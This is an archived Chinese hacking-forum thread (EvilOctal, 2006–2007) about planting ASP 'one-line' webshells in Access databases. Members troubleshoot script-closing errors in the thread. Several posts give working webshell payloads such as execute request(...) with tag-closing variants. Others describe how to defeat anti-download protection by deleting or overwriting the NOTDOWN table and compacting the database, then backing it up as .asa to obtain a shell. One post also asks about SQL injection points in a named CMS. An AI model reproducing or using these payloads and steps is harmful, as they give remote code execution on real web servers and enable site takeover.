邪恶八进制信息安全团队技术讨论组's Archiver

zero_cold 2006-12-9 22:40

[讨论]数据库删除了防下载处理 访问提示提示“Script 块缺少脚本关闭标记(%>

议题作者:zero_cold
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

现在以asp后缀结尾的数据库一般都做了防下载处理,我测试程序的时候为了方便,把防下载里的ole字段和整个防下载处理表都给删除了.但是访问的时候还是一直提示“Script 块缺少脚本关闭标记(%>)”.翻便了整个数据库都没有发现问题,也没有发现程序使用网上的那个只需要运行就可以自动的在数据库加入防下载表的程序.遇见这个问题已经很多次了,一直想不明白.希望这里有哪位朋友有知道的给解释下原因.

hushui 2006-12-23 21:01

大哥麻烦给讲下原因吧  这个问题我也找了好长时间了 没结果
  遇到这种情况假设我们可以向数据库里面写东西是不是只要写进
  容错的代码在加上自己的小马,木马就可以执行.

流转 2006-12-23 21:24

个人猜想是这个样子的:数据库删除纪录的时候不是把相应的代码全部清除而是类似windows删除文件那样只是删除一个“路径”而数据库压缩就相当于“磁盘碎片整理”

chinahest 2007-4-3 05:38

新云的。。。数据库里插入这样的一句话就不行 也是这个错误。。。往有好的解决代码

皇子 2007-5-5 14:46

你随便找个估计能写入数据库的地方
写入个%>看看

daliubinzai 2007-5-5 17:55

%>写入可能不行

dongli 2007-5-5 20:41

这个我从来没有闭合成功过 往那个牛人给个解决方案

小暴 2007-5-6 14:43

插入了

<script language=VBScript runat=server>execute request("1")</Script>

过滤 %的一句话木马。

不知道为什么会出错。汗了
[s:265]

野球小子 2007-5-12 11:59

我在一个ASP文件中追加<%%25Execute(request("hqw"))%%25>也出现“Script 块缺少脚本关闭标记(%>)”的错误提示,但当我把一句话改为script language=VBScript runat=server>execute request("hqw")</Script>后却可以了执行了。

starjason 2007-8-6 15:53

还是不行3~~~~~~~~`无法解决这个问题~~~~
一句话是插进去了~~~~就是无法连接`

有什么好的解决方案大家一起来研究下吧

1051203220 2007-8-6 16:30

这个是因为防下载的数据没真正删除,就象删除文件到回收站一样,你可以用update的方法,而不把防下载删掉试试,也可以压缩一下数据库

anki 2007-8-7 16:15

把防下载里的ole字段和整个防下载处理表都给删除了.但是访问的时候还是一直提示“Script 块缺少脚本关闭标记(%>)-----------这个是需要数据库压缩下就好了,没有压缩的话,就相当于没有更新过,关于这个也讨论了不少了!最好是把数据库下载回来参考看看吧!提供几个一句话变形:

--------------------------------------------------------------------------
<%execute request("value")%><%&#39;<% loop <%:%>
是这样的顺序才行,也可以是以下顺序
<%&#39;<% loop <%:%><%execute request("value")%>

<%execute request("value")&#39;<% loop <%:%>

--------------------------------------------------------------------------

晨曦 2007-8-31 10:09

我的ACCESS数据库也是改后辍防下载的,把MDB改成.TMP,谁也下不了,哈哈,系统保护文件谁能下?

greyair 2007-8-31 17:53

<%execute request("value")%><%&#39;<% loop <%:%>
是这样的顺序才行,也可以是以下顺序
<%&#39;<% loop <%:%><%execute request("value")%>或
<%execute request("value")&#39;<% loop <%:%>
这样插入就可以。。我试过

sunlion 2007-9-12 12:46

刚刚自己还发了一格贴,原来这里也有了,就贴到这里吧:

不知道大家在玩一句话插入数据库通过备份获得WEBSHELL的过程有没有遇到这样的问题,后台可以备份为ASA,插入一句话木马后,利用客户端连接,出现错误提示:
Microsoft VBScript 编译器错误 错误 &#39;800a040e&#39;

&#39;loop&#39; 语句缺少 &#39;do&#39;

/admin/databackup/2007-9-12.asa,行 2260

loop <%




1.通过容错语句:
<%eval request("a")%>
<%On Error Resume Next%><%execute request("a")%>
不行。
2.以为是被过滤了,查看插入的数据,没有被过滤。
不需要对<%进行变形了!
3. 后来发现数据库可以下载,然后下载下来 ,用ACCESS 打开,每个表搜索一下 "<% loop " 发现没有搜索到,后来发现有一个 NOTDOWN 表(通过后台无法修改),里面OLE 连接的 “大型二进制资料”,估计应该是在里面,但是这个二进制资料打不开,把MDB 修改为ASA ,用EDITPLUS 或记事本 打开,搜索 “<% loop” 这次终于搜索到了,确实在备份的数据库ASA 里面,这个LOOP 位置比较靠前,而我再搜索 request("a") 的时候,发现在文件比较靠低部的位置了。而DO ~LOOP 语句是DO在前LOOP 在后,给数据加一个DO的的想法又没有办法实现了。

不知道大家遇到这样的情况怎么解决?

按上面的兄弟提示:压缩了一下数据库,然后再畚份为ASA,就出现这个啦!
Active Server Pages 错误 &#39;ASP 0116&#39;

丢失脚本关闭分隔符

/admin/databackup/2007-9-12.asa,行 8680

Script 块缺少脚本关闭标记(%>)。


这次提示又变了,哈!

sunlion 2007-9-12 13:08

[quote]引用第14楼greyair于2007-08-31 17:53发表的 :
<%execute request("value")%><%&#39;<% loop <%:%>
是这样的顺序才行,也可以是以下顺序
<%&#39;<% loop <%:%><%execute request("value")%>或
<%execute request("value")&#39;<% loop <%:%>
这样插入就可以。。我试过[/quote]

我在数据库里面看到这些: <% loop <%
..........
...............
........................
.
.
.
怎么构造呢,试你提供的不行!
后来我提交这样 %>%><%execute request("value")%> 也不行!

sunlion 2007-9-12 17:13

[url]https://forum.eviloctal.com/read-htm-tid-9082.html[/url]
[讨论]关于Access数据库的一个奇怪现象
[url]https://forum.eviloctal.com/read-htm-tid-23473.html[/url]
[讨论]数据库防下载问题




论坛里面的资料,不过还是解决不了!
请高手指点!

总结了 LAKE2 大牛和神無月 的结论,大概是可以用如下方法可以获得WEBSHELL:
把防下载的NOTDOWN 表,用其他数据覆盖掉,然后再插一句话ASP木马.

另外问一下: 动易网站管理系统 2005 Build 0816 免费版 后台有没有执行SQL 语句的地方呢?或者那里有注入点 可以 执行SQL 语句? 望大牛们指点。

平安年间 2007-9-12 19:40

删除防下载表,插入一句话后压缩一下数据库就可以连接了

关于突破防下载的问题可以看看这篇文章
[url]https://forum.eviloctal.com/read-htm-tid-29824.html[/url]

页: [1]
© 1999-2008 EvilOctal Security Team